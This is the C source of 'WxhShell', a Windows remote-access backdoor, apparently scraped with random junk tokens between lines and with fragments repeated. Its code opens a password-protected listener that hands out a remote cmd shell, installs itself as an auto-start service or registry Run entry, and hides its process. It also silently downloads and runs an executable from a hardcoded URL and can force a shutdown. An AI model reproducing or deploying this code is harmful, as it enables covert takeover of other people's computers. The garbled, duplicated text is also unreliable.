~vMJ?P@ zSBR_N51 HANDLE hProcess; F 2Mxcs*M PROCESS_BASIC_INFORMATION pbi; 3WPZZN<K9 /WI H#M HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t1!>EI` if(NULL == hInst ) return 0; kU{a!ca4 `_3Gb g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?4_ME3$t g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t*Z4&Sy^ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .F0Q<s9 h<g2aL21?F if (!NtQueryInformationProcess) return 0; VD+v\X_ n_6#Df* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7_L$ XIa if(!hProcess) return 0; t~Qj$:\ +rka5ts if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n -xCaq _DYe<f. CloseHandle(hProcess); Pt/F$A{Cj V" KuwM hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `F_R J.g*p if(hProcess==NULL) return 0; Y 9BKd78Y WFvVu3 HMODULE hMod; ".kH5(: char procName[255]; W A#y& unsigned long cbNeeded; zuJ@@\75 Gf-GDy\{ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C-^8;xd r(g#3i4Q CloseHandle(hProcess); N^'(`"J s xN!In-v[j; if(strstr(procName,"services")) return 1; // 以服务启动 Xj<xen( 4@M`BH` return 0; // 注册表启动 9dva]$^:*1 } }eSrJgF4M &3\3wcZ,q // 主模块 ~eXI}KhBw6 int StartWxhshell(LPSTR lpCmdLine) ##s:Ww { *1*i5c SOCKET wsl; sl)]yCD|5 BOOL val=TRUE; 1 ;Uc-< int port=0; (XV+aQ \A struct sockaddr_in door; qU ,{jD$ p & i+i if(wscfg.ws_autoins) Install(); MSe>1L2= AH^ud*3F port=atoi(lpCmdLine); IB^vEY!`6_ jM>;l6l if(port<=0) port=wscfg.ws_port; m:cWnG k8,s<m WSADATA data; ~NIqO4 D if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aX*7tRn_% $]4o!Z if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +9.GNu setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y]uBVn'u door.sin_family = AF_INET;
k|cP]p4, door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'wo}1^V door.sin_port = htons(port); X*`b}^T 6Z;D`X,5 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "||'
-(0 closesocket(wsl); Rpxg
5 return 1; %U9f`qE } +a^0Q
F-7 1+xi1w}3a if(listen(wsl,2) == INVALID_SOCKET) { QiNLE'19^ closesocket(wsl); 27Vx<W return 1; CW,|l0i } e_3B\59k Wxhshell(wsl); \OkJX_7 WSACleanup(); ,8stEp9~h] -9R.mG return 0; dlMjy$/T w^[:wzF0 } '_" S/X+v U}GO* + // 以NT服务方式启动 _!%@V= VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A9z3SJ\vXl { xiF}{25a DWORD status = 0; vQ>8>V DWORD specificError = 0xfffffff; Lv
*USN SGpe \P ]k serviceStatus.dwServiceType = SERVICE_WIN32; [>lQiX serviceStatus.dwCurrentState = SERVICE_START_PENDING; R4S))EHg serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UK.=Y9 serviceStatus.dwWin32ExitCode = 0; }S}%4c> serviceStatus.dwServiceSpecificExitCode = 0; jm[f|4\ serviceStatus.dwCheckPoint = 0; YOtzja]~ serviceStatus.dwWaitHint = 0; eH%i8a i1!Y{ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o}yA{<" if (hServiceStatusHandle==0) return; |oR#j
` vhN6_XD status = GetLastError(); .GvZv> if (status!=NO_ERROR) e<"sZK { 3(1UIu serviceStatus.dwCurrentState = SERVICE_STOPPED; 4hW:c0 serviceStatus.dwCheckPoint = 0; tD]vx`0> serviceStatus.dwWaitHint = 0; W 2A!BaH% serviceStatus.dwWin32ExitCode = status; 5?TX.h9B4 serviceStatus.dwServiceSpecificExitCode = specificError; )9+H[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); E>F6!qYm return; H`7T;`Yb } UFeQ%oRa8 }U**)" serviceStatus.dwCurrentState = SERVICE_RUNNING; ^j<2s"S serviceStatus.dwCheckPoint = 0; }p*WH$!~ serviceStatus.dwWaitHint = 0; M+7jJ?n if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kMg[YQ]OC } ZC)m&V1 `-5gsJ
// 处理NT服务事件,比如:启动、停止 35YDP|XZb VOID WINAPI NTServiceHandler(DWORD fdwControl) _SQ]\Z { $Y%,?>AL< switch(fdwControl) 3H%bbFy { v5.KCc}" case SERVICE_CONTROL_STOP: 5E2T*EXSh serviceStatus.dwWin32ExitCode = 0; R%Xz3Z&| serviceStatus.dwCurrentState = SERVICE_STOPPED; f_IsY+@ serviceStatus.dwCheckPoint = 0; -90X^] serviceStatus.dwWaitHint = 0; %/RT}CBBsW { +<WNAmh
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z;6?,5OSc } `(~oZbErM return; 8>DX
:` case SERVICE_CONTROL_PAUSE: cq8JpSB( serviceStatus.dwCurrentState = SERVICE_PAUSED; T|uG1 break; _"82W^W i case SERVICE_CONTROL_CONTINUE: K pmq C$ serviceStatus.dwCurrentState = SERVICE_RUNNING; v5*JBW+c* break; 2D"aAI<P case SERVICE_CONTROL_INTERROGATE: 8>(/:u_x break; aF.fd2k }; I %CrsEo SetServiceStatus(hServiceStatusHandle, &serviceStatus); au/5` } 'Ge8l%p SI7r`'7A' // 标准应用程序主函数 qrcir-+ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V|pO";%>, { Q=^TKsu O66b^*=N}x // 获取操作系统版本 n^/)T3mz{ OsIsNt=GetOsVer(); ne=CN!= GetModuleFileName(NULL,ExeFile,MAX_PATH); FMC]KXSd Xkf|^-n // 从命令行安装 [vxHsY3z if(strpbrk(lpCmdLine,"iI")) Install(); "nU] 2 P -X2A2 // 下载执行文件 ^NO4T if(wscfg.ws_downexe) { MK <\:g if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P5v;o9B& WinExec(wscfg.ws_filenam,SW_HIDE); LVJn2t^ } VhU,("&pm &,$N|$yK}| if(!OsIsNt) { ra^"Vr // 如果时win9x,隐藏进程并且设置为注册表启动 <BK?@Xy HideProc();
g hW StartWxhshell(lpCmdLine); p-,Bq!aG$ } *Z3b6X'e else /$|-!e<5b\ if(StartFromService()) o>HGfr,N // 以服务方式启动 MZ>Q Rf StartServiceCtrlDispatcher(DispatchTable); jH37{S- else eCG{KCM~_Z // 普通方式启动 5)ooE StartWxhshell(lpCmdLine); a&B@F]+ '>t'U?7w< return 0; 5`q#~fJ2 } 9y j'->dL XjTu`?Na; NBA`@K~4 MaZS|Zei[ =========================================== FDuIm,NI iK8jX? [ic%ZoZ_ 5JS*6|IbD{ 4j<[3~:0
o 1eI_F8I U " @su!9 ]o ,vuC0{C^ #include <stdio.h> j k&\{ #include <string.h> @I?:x4 #include <windows.h> HP:[aR!2P #include <winsock2.h> AL|3_+G #include <winsvc.h> D{JwZL@7k2 #include <urlmon.h> C4gzg f0*_& rP #pragma comment (lib, "Ws2_32.lib") =:\5* #pragma comment (lib, "urlmon.lib") SA?1*dw) ]N:Wt2
#define MAX_USER 100 // 最大客户端连接数 E|W7IgS #define BUF_SOCK 200 // sock buffer Us% _'}(/U #define KEY_BUFF 255 // 输入 buffer z</^qy 0R}hAK+| 4 #define REBOOT 0 // 重启 FhQb9\g #define SHUTDOWN 1 // 关机 ul!q)cPb{ j? Vs"d| #define DEF_PORT 5000 // 监听端口 ts
r{-4V 'a>D+A: #define REG_LEN 16 // 注册表键长度 -0<ZN(?| #define SVC_LEN 80 // NT服务名长度 SUD~@]N1 :)%cL8Nz]$ // 从dll定义API ~w}=Oby'y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x\YVB',h typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); So4#n7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zO0K*s.yK typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dcfwUjp[ w4l]rH // wxhshell配置信息 rVp^s/A^; struct WSCFG { @?&
i int ws_port; // 监听端口 (t,mtdD#1 char ws_passstr[REG_LEN]; // 口令 :0Fc E,1 int ws_autoins; // 安装标记, 1=yes 0=no nI8zT0o char ws_regname[REG_LEN]; // 注册表键名 1D%E})B6 char ws_svcname[REG_LEN]; // 服务名 8tzL.P^ char ws_svcdisp[SVC_LEN]; // 服务显示名 W3n[qVZIC char ws_svcdesc[SVC_LEN]; // 服务描述信息 <]*Jhnx/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
\8USFN~(Y int ws_downexe; // 下载执行标记, 1=yes 0=no Is9.A_0h char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y\F4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CiTWjE?|7 9fsc>9 }; Z
4c^6v F1p|^hYDW // default Wxhshell configuration L+0:'p= struct WSCFG wscfg={DEF_PORT, 97pnq1b "xuhuanlingzhe", $paE6X^ 1, zbfe=J4c "Wxhshell", m3XT8F*& "Wxhshell", Ii>#9>!F "WxhShell Service", S(0JBGC "Wrsky Windows CmdShell Service", S`vw<u4t "Please Input Your Password: ", aj-:JTf 1, ;HiaX<O! "http://www.wrsky.com/wxhshell.exe", {ea*dX872: "Wxhshell.exe" Zt
1nH }; H7f
Xg wV,=hMTd&\ // 消息定义模块 qJw\<7m char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2FGCf} , char *msg_ws_prompt="\n\r? for help\n\r#>"; }xY|z"& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rw75(Lp{ char *msg_ws_ext="\n\rExit."; |C>\ku* char *msg_ws_end="\n\rQuit."; -o57"r^x char *msg_ws_boot="\n\rReboot..."; 1U
='" char *msg_ws_poff="\n\rShutdown..."; ~eUv.I/ char *msg_ws_down="\n\rSave to "; ^c|0?EH m~F ~9& char *msg_ws_err="\n\rErr!"; 0\+$j5; char *msg_ws_ok="\n\rOK!"; ac8su0 J~ wu*x char ExeFile[MAX_PATH]; ozA%u,\7k int nUser = 0; /K_*Drk> HANDLE handles[MAX_USER]; 01IfvK int OsIsNt; 4+4&}8FH X"%eRW&qu/ SERVICE_STATUS serviceStatus; @9\E SERVICE_STATUS_HANDLE hServiceStatusHandle; EdZNmL3cB xFyBF[c // 函数声明 eGo$F2C6E int Install(void); HN<e)E38 int Uninstall(void); ?yA
2N; int DownloadFile(char *sURL, SOCKET wsh); _V` QvnT} int Boot(int flag); WrR8TYq9D] void HideProc(void); {(h!JeQ int GetOsVer(void); 7*4i0{] int Wxhshell(SOCKET wsl); <lWBhrz void TalkWithClient(void *cs); ~u r}6T int CmdShell(SOCKET sock); x_= 3!) int StartFromService(void); A64c,Uv int StartWxhshell(LPSTR lpCmdLine); h9rrkV9 ,u14R] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uC2 5pH" VOID WINAPI NTServiceHandler( DWORD fdwControl ); s*vtCdrE.
.C1g Dry] // 数据结构和表定义 pWKI^S SERVICE_TABLE_ENTRY DispatchTable[] = #?~G\Ux0/ { ~)5k%?. {wscfg.ws_svcname, NTServiceMain}, sO)!}#,
{NULL, NULL} N]G`] }; .G|U#%"6x o^u}(wZ{ // 自我安装 =E&1e;_xlE int Install(void) e(9K.3@{ { mHNqzdaa char svExeFile[MAX_PATH]; C 6d#+ HKEY key; ZV[-$ strcpy(svExeFile,ExeFile); r1sA^2g. t_qX7P8+' // 如果是win9x系统,修改注册表设为自启动 ##U/Wa3 if(!OsIsNt) { y <P1VES if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `Vh&XH\S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;\iu*1>Z,& RegCloseKey(key); @! jpJ} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y }8HJTMB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2-:` lrVd RegCloseKey(key); Vtk}>I@% return 0; bWzUWLa } ^k!u } Hlj3z3 } M2nZ,I=l else { 'A/f>W x^
sTGd // 如果是NT以上系统,安装为系统服务 M\kct7Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~%sNPKjA if (schSCManager!=0) ] .c$(. { u)l[*";S SC_HANDLE schService = CreateService &>XSQB(&% ( 5%" 0 schSCManager, sA+( |cEh wscfg.ws_svcname, "mcuF]7F wscfg.ws_svcdisp, _61tE SERVICE_ALL_ACCESS, ['I5(M@ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G)%r|meKGB SERVICE_AUTO_START, "=0JYh)%_ SERVICE_ERROR_NORMAL, !XY}\zKq svExeFile, NaeG)u#+ NULL, S?Uvt? NULL, JwUz4 NULL, >
Cx;h= NULL, _Tf0L<A'R NULL "9;Ay@'B ); vFK(Dx if (schService!=0) SuA`F|7?P { Gdlx0i CloseServiceHandle(schService); r
D|Bj(X8 CloseServiceHandle(schSCManager); AaJz3oncJ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OWmI$_L strcat(svExeFile,wscfg.ws_svcname); QC+BEN$ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 58Z,(4:E RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _i0,?U2C RegCloseKey(key); s?&UFyYb, return 0; <2PO3w?Z } C6:;
T% } ra{HlB{ CloseServiceHandle(schSCManager); >orDw3xC } {^Q1b.= } >8DZj&j AHTQF#U^ return 1; 200Fd8Ju } PJ'@! jx 0,m@BsK // 自我卸载 AkBEE int Uninstall(void) m# I { G88g@Exk HKEY key; -}Gk@=$G ;5=5HYx% if(!OsIsNt) { `wLMJ,@f. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WOf*1C RegDeleteValue(key,wscfg.ws_regname); MT.D#jv& RegCloseKey(key); iR4!X() if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S d]`) RegDeleteValue(key,wscfg.ws_regname); }U$p[Gi< RegCloseKey(key); (s!cd]Qa. return 0; B6]M\4v } y3mJO[U0 a } 9X87" } yv.(Oy else { QCvst* =p$:vW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |FZIUS{] if (schSCManager!=0) FQikFy(YY { )cxML<j'
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BxGz4 if (schService!=0) c`!8!R { [214b= if(DeleteService(schService)!=0) { wTu=v CloseServiceHandle(schService); 7f
q\
H{ CloseServiceHandle(schSCManager); M1=y-3dW3 return 0; #W=H)6 } qvN 5[rb CloseServiceHandle(schService); F$H^W@<w } OEj%cB! CloseServiceHandle(schSCManager); 7a'@NgiGg } m*H6\on: } aZYs?b>Gm mX
QVL.P\ return 1; iC Z1ARi } W8s/" h%(0| // 从指定url下载文件 HXRK<6k$
int DownloadFile(char *sURL, SOCKET wsh) MNsgD3 { Ed&M HRESULT hr; ewzZb*\ char seps[]= "/"; mi$*,fz char *token; j{;IiVHnR char *file; /?
HLEX char myURL[MAX_PATH]; ryoD 1OE char myFILE[MAX_PATH]; .g95E<bd FR 1se strcpy(myURL,sURL); `1)n2<B token=strtok(myURL,seps); 7%Ii:5Bp while(token!=NULL) D*o[a#2_ { 8i?h{G IMV file=token; h**mAa0fo token=strtok(NULL,seps); FQ6{NMz,h } gjhWoZV dFVm18 GetCurrentDirectory(MAX_PATH,myFILE); ,daZKxT strcat(myFILE, "\\"); tz"zQC$ strcat(myFILE, file); b>"=kN/ send(wsh,myFILE,strlen(myFILE),0); B3iU# send(wsh,"...",3,0); 9W@Tf hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Fwv(J_'q if(hr==S_OK) fW.)!EPO return 0; p}R3AJ else qox31pnS return 1; %y}l^P5z *L~88-V^ } Na2n4x! K=X13As_ // 系统电源模块 NKS-G2Y<P int Boot(int flag) ^J$?[@qD { q<*UeyE
S HANDLE hToken; \hT=U*dMR TOKEN_PRIVILEGES tkp; [ZkK)78}k [X|KXlNfm if(OsIsNt) { !^<%RT9@| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }X[wWH LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h$eVhN&Vv tkp.PrivilegeCount = 1; oN6 '% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CNF3".a AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #9)D.d|5 if(flag==REBOOT) { $f]dL}; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YXWlg%s return 0; J`4{O:{4 } KF4}cM=.5 else {
V;-YM W if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gzDNMM return 0; @G;\gJT* } 2
.)`8|c9 } |=9=a@l]P else { ^%r>f@h!L if(flag==REBOOT) { =jN9PzLk if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -%#F5br% return 0; "G3zl{?GP } B'"RKs] else { S;FgS:; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8h| 9;% return 0; O'}
%Bjl } X0QLT:J b } %;{Ro)03 A#P]|i return 1; oDEvhNT } YjM_8@< C%y!)v_x // win9x进程隐藏模块 I>L@P`d void HideProc(void) Lw!Q*3c { 7-Yn8Gq RY]Vo8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Pwh0Se5Z if ( hKernel != NULL ) 9:tn!<^=I { #fR~7K R pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XY1eeB- ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nm597WeZp FreeLibrary(hKernel); 8hx 3pvmk } E)=X8y [nnX,; return; ^E3 i]Oem } Y]R;>E5o|
3l8k O // 获取操作系统版本 z1u1%FwOfM int GetOsVer(void) n!K<g.tjW { {v>orP? OSVERSIONINFO winfo; D7"RZF\) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YzD6S*wb GetVersionEx(&winfo); oTqv$IzqP if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )KPQ8y!d return 1; )D1=jD( else uNn]hl|x return 0; t$W~X~// } R%Y#vUmBV{ ;.<0ln V // 客户端句柄模块 aJi0!6oy int Wxhshell(SOCKET wsl) yxt` { CkJ\v%JAW SOCKET wsh; @3:oo
/; struct sockaddr_in client; _PR><L_ DWORD myID; C3p/|{TP
.% rB-vO:g while(nUser<MAX_USER) ,:e##g~k { 7sci&!.2` int nSize=sizeof(client); ,`ZIW wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +bbhm0f if(wsh==INVALID_SOCKET) return 1; i!jR>+ lrXi*u] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UFoxv) if(handles[nUser]==0) tL!R^Tf closesocket(wsh); C;&44cU/] else /v,H%8S nUser++; ~J Xqyw} } p+F{iMC WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s}pn5zMp:8 ,?Bo
x return 0; ~A5MzrvIO2 } s$s]D\N eviv, // 关闭 socket .jfkOt?2 void CloseIt(SOCKET wsh) rg^ { i9FHEu_ closesocket(wsh); [e:mRMi nUser--; [aK7v{Wu ExitThread(0);
FB-_a } .Y"H{|]Mnh ,%FBELqOW // 客户端请求句柄 P,ox))+6 void TalkWithClient(void *cs) E9L)dMZSpj { *Q@%<R ^mu?V-4 SOCKET wsh=(SOCKET)cs; >lRa},5( char pwd[SVC_LEN]; HJn char cmd[KEY_BUFF]; Z,~EH char chr[1]; ,`3kDqS_4 int i,j; FYe(SV(9 k>8,/ AZd while (nUser < MAX_USER) { `n#
{} % +H7lkbW if(wscfg.ws_passstr) { _p~lL<q-K[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;&N;6V"} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _;Q1PgT //ZeroMemory(pwd,KEY_BUFF); lUR7zrwJ]o i=0; qDQ$Zq[ while(i<SVC_LEN) { R0n#FL^E WzC_M>_ // 设置超时 IfH*saN7 fd_set FdRead; BmRk|b struct timeval TimeOut; %b
H1We FD_ZERO(&FdRead); KKz{a{ePY% FD_SET(wsh,&FdRead); j5,vSh~q;' TimeOut.tv_sec=8; AC$:.KLI TimeOut.tv_usec=0; Fnnk}I} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1%?J l~M if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pD+_ K a/Cd;T2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AQ>8] `e` pwd=chr[0]; ,,Dwb\B} if(chr[0]==0xd || chr[0]==0xa) { 3}@!TI pwd=0; 5,0fL break; X0,?~i6Q } 1Fado$#
7 i++; n6PXPc } zF6]2Y?k% R(?g+:eCpM // 如果是非法用户,关闭 socket iY /N%T; if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tntQO!pM } q&h&GZ oCBZ9PGkK send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }=':)?'-. send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pV>M,f s/,wyxKd while(1) { kAF[K,GG e%(,)WlTaU ZeroMemory(cmd,KEY_BUFF); <Ct b^4$ p?mQ\O8F // 自动支持客户端 telnet标准 ohHKZZ j=0; 3aL8 gE while(j<KEY_BUFF) { 'nOc_b0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ltKUpRE\? cmd[j]=chr[0]; gg>O:np8 if(chr[0]==0xa || chr[0]==0xd) { 6n{`t/ cmd[j]=0; ~mqiXr8 break; `g2DN#q[0 } !^dvtv`K j++; H5f>Q0jq
} +Mb;;hb uY,(3x // 下载文件 -I$qe Xy if(strstr(cmd,"http://")) { $nB4Ie!WcR send(wsh,msg_ws_down,strlen(msg_ws_down),0); y{.s
4NT if(DownloadFile(cmd,wsh)) %<|w:z$vp send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jl-Lz03YG else Pa.D+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tl.dr } >a@c5 else { 9oly=&lJ <q
V<dK&W switch(cmd[0]) { 28KS*5S a9CY,+z5B // 帮助 XwKB+Yj0 case '?': { }u=-Y'!#] send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
6j FD| break; -lKk.Y.}r } L'dR;T[; // 安装 ,)u\G(N case 'i': { _S4 3_hW if(Install()) bk@F/KqL send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~bSPtH
]6d else GA,6G [E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wf4?{H break; 1gEeZ\B-& } 1m*fkM# // 卸载 01n5]^.p case 'r': { +Ar=89 if(Uninstall()) a#iJXI send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'eNcQJh else Zrtyai{8l send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3cuVyf<v break; c$.h]&~dN } l$ABOtM@ // 显示 wxhshell 所在路径 ,J|8P{ZO case 'p': { |Co ?uv
i char svExeFile[MAX_PATH]; {5tb.{ strcpy(svExeFile,"\n\r"); 7!0~sf9A strcat(svExeFile,ExeFile); }<y-`WB send(wsh,svExeFile,strlen(svExeFile),0); iXp*G52 break; yQA6w% } d4Y8q1 // 重启 |!VSed#FSn case 'b': { `GsFvxz send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mM| 313 if(Boot(REBOOT)) FL}k0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6I0G.N else { x>5"7MR` closesocket(wsh); /&g5f4[|p ExitThread(0); *~~&*&+ } :x*|?zII break; ^l}Esz`-M } N=e-"8 // 关机 6xk~Bt case 'd': { v7?sXW send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }P8@\2@=T if(Boot(SHUTDOWN)) ;Kq/[$~0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); {\!_S+}{ else { \ W3\P= closesocket(wsh); gxry?': ExitThread(0); U$;FOl } BU-m\Kf) break; ^oNk}:> } 6%/@b`vZ // 获取shell OR4ZjogzY case 's': { Q{ hXP*5 CmdShell(wsh); 1bW[RK;GE closesocket(wsh); 1'qllkT ExitThread(0); 2b|$z"97jj break; %d..L-`]ET } da c?b( // 退出 [D[&aA case 'x': { 6#egy|("nF send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5^"T`,${ CloseIt(wsh); }!tJ3G break; `mN*"1p- } =|lw~CW // 离开 |P{K\;- case 'q': { so~vnSQ!x send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4CR.= closesocket(wsh); {0J TN%e WSACleanup(); 9,h'cf`F exit(1); :JBvCyj4PE break; Qqt< } %nU8 Ca } 9.F+)y@ } s bf\;_! *h=|KOS // 提示信息 "c[ D0{\{ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9$-V/7@) } DOi\DJV! } C_>dJYM t@KN+
C return; h^{D " } (E'f'g Ne^md // shell模块句柄 %O$4da"y int CmdShell(SOCKET sock) 5v51:g>c { ![ &
go STARTUPINFO si; bERYC| ZeroMemory(&si,sizeof(si)); $S~e"ca1 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jD@KG si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JTH8vk:@ PROCESS_INFORMATION ProcessInfo; 1BQB8i-, char cmdline[]="cmd"; `4Jlf! CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *],]E; return 0; wYTF:Ou^5~ } 7O3 \ a78&< // 自身启动模式 [I*BEJ;W' int StartFromService(void) .Rq|F { Jf<+VJ>t typedef struct (A.%q1h { <"|BuK DWORD ExitStatus; ~HbZRDcJc DWORD PebBaseAddress; O2[uN@nY DWORD AffinityMask; :Oz! M&Ov DWORD BasePriority; -rYOx9P4 ULONG UniqueProcessId; *,w9#?2x ULONG InheritedFromUniqueProcessId; 'je=.{[lWt } PROCESS_BASIC_INFORMATION; 7<W7pXDp <VB;J5Rv PROCNTQSIP NtQueryInformationProcess; ZqaCe> ;x.xj/7 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sxq'uF(K static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $0[T=9q <+ MjIp~?* HANDLE hProcess; tOn_S@/r PROCESS_BASIC_INFORMATION pbi; \ "193CW!
Vj^<V|= HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AplXl= if(NULL == hInst ) return 0; vh8{*9+ Eeemy*U g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mz\d>0F U. g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _KSYt32N NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S<Zb>9pl w!{g^*R+! if (!NtQueryInformationProcess) return 0; h#K863 :'-FaGy hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vas
